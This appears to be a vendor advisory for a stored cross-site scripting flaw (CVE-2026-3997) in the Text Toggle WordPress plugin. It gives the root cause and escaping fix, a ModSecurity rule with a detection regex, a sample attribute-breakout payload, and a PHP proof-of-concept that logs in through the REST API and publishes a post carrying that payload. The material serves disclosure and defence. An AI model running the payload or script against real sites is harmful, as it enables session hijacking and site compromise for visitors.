Atomic Edge analysis of CVE-2026-3997 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Text Toggle WordPress plugin, versions up to and including 1.1. The vulnerability exists within the plugin’s shortcode handling functions, specifically the `avp_texttoggle_part_shortcode()` function. Attackers with Contributor-level permissions or higher can inject malicious scripts via the ‘title’ attribute of the `[tt_part]` and `[tt]` shortcodes. These scripts execute in the browsers of users viewing any page or post containing the malicious shortcode.
Atomic Edge research identifies the root cause as a failure to apply proper output escaping. The vulnerability description confirms the ‘title’ attribute value is concatenated directly into HTML output without escaping in two locations. This occurs within an HTML attribute context on line 116 and within HTML content on line 119. While the description confirms the lack of sanitization, Atomic Edge analysis infers the plugin likely uses the `shortcode_atts()` function to parse attributes and the `do_shortcode()` function for processing. The CWE-79 classification confirms the pattern of improper neutralization of user input before web page generation.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker creates or edits a post, inserting a malicious shortcode. The payload uses double quotes to break out of the existing HTML attribute context. A sample payload for the `[tt_part]` shortcode is `[tt_part title=” onmouseover=alert(document.domain) x=”injected”]`. When the post is saved and subsequently viewed by any user, the JavaScript in the `onmouseover` attribute executes in the victim’s browser. The attack vector is the WordPress post editor; no specific AJAX or REST endpoint is required for the initial injection.
Remediation requires implementing proper output escaping. The plugin must escape the ‘title’ attribute value before output in both contexts. For the HTML attribute context (line 116), the `esc_attr()` function should be used. For the HTML content context (line 119), the `esc_html()` function is appropriate. Input sanitization for shortcode attributes, using a function like `sanitize_text_field()`, provides an additional defense layer. A patched version would apply these escaping functions where the vulnerable concatenations occur.
The impact of successful exploitation is the execution of arbitrary JavaScript in the context of a victim user’s session. This can lead to session hijacking, malicious redirects, defacement of site content, or actions performed on behalf of the victim user. The CVSS vector scores Scope (S) as Changed, indicating the vulnerability can affect components beyond the plugin’s security scope, potentially impacting the entire WordPress site. The combination of Confidentiality and Integrity impacts with a Changed Scope justifies the Medium severity CVSS score of 6.4.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3997 (metadata-based)
# This rule blocks attempts to exploit the Stored XSS via the WordPress post editor.
# It targets POST requests to the WordPress REST API posts endpoint containing the malicious shortcode pattern in the 'content' parameter.
SecRule REQUEST_METHOD "@streq POST"
"id:10003997,phase:2,deny,status:403,chain,msg:'CVE-2026-3997: Text Toggle Stored XSS via shortcode title attribute',severity:'CRITICAL',tag:'CVE-2026-3997',tag:'WordPress',tag:'Text-Toggle',tag:'XSS'"
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/(posts|pages)"
"chain"
SecRule REQUEST_HEADERS:Content-Type "@contains application/json"
"chain"
SecRule REQUEST_BODY "@rx \[tt(_part)?\s+[^\]]*title\s*=\s*[^\w\s][^\]]*on\w+\s*="
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:requestBodyProcessor=JSON"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3997 - Text Toggle <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title' Shortcode Attribute
<?php
/*
* Proof of Concept for CVE-2026-3997.
* This script simulates an authenticated Contributor user injecting a malicious shortcode into a WordPress post.
* Assumptions:
* 1. The target site has the Text Toggle plugin (v1.1 or earlier) installed.
* 2. Valid Contributor-level credentials are available.
* 3. The WordPress REST API is enabled (default).
* 4. The attacker knows a post ID they can edit or intends to create a new post.
*
* The exploit uses the WordPress REST API to create a post with a malicious [tt_part] shortcode.
* The payload breaks out of the HTML title attribute to inject an event handler.
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS
// Payload: Inject an onmouseover event handler via the title attribute.
// The double quote closes the title="" attribute, allowing new attributes.
$malicious_shortcode = '[tt_part title="" onmouseover="alert(document.domain)" x="injected"]This is toggle content.[/tt_part]';
$post_content = "<p>This post contains a malicious Text Toggle shortcode.</p>n{$malicious_shortcode}";
// Step 1: Authenticate and retrieve a nonce via the REST API.
$auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
$auth_data = array('username' => $username, 'password' => $password);
$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$auth_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code != 200) {
die("Authentication failed. Check credentials and ensure the JWT Authentication plugin is active or use alternative auth.");
}
$auth_data = json_decode($auth_response, true);
$token = $auth_data['token'];
// Step 2: Create a new post with the malicious shortcode.
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => 'Test Post with XSS',
'content' => $post_content,
'status' => 'publish'
);
$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
$post_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 201) {
$post_info = json_decode($post_response, true);
$post_link = $post_info['link'];
echo "Exploit successful. Post created: " . $post_link . "n";
echo "Visit the post and move your mouse over the toggle element to trigger the XSS.n";
} else {
echo "Post creation failed. HTTP Code: " . $http_code . "n";
echo "Response: " . $post_response . "n";
}
?>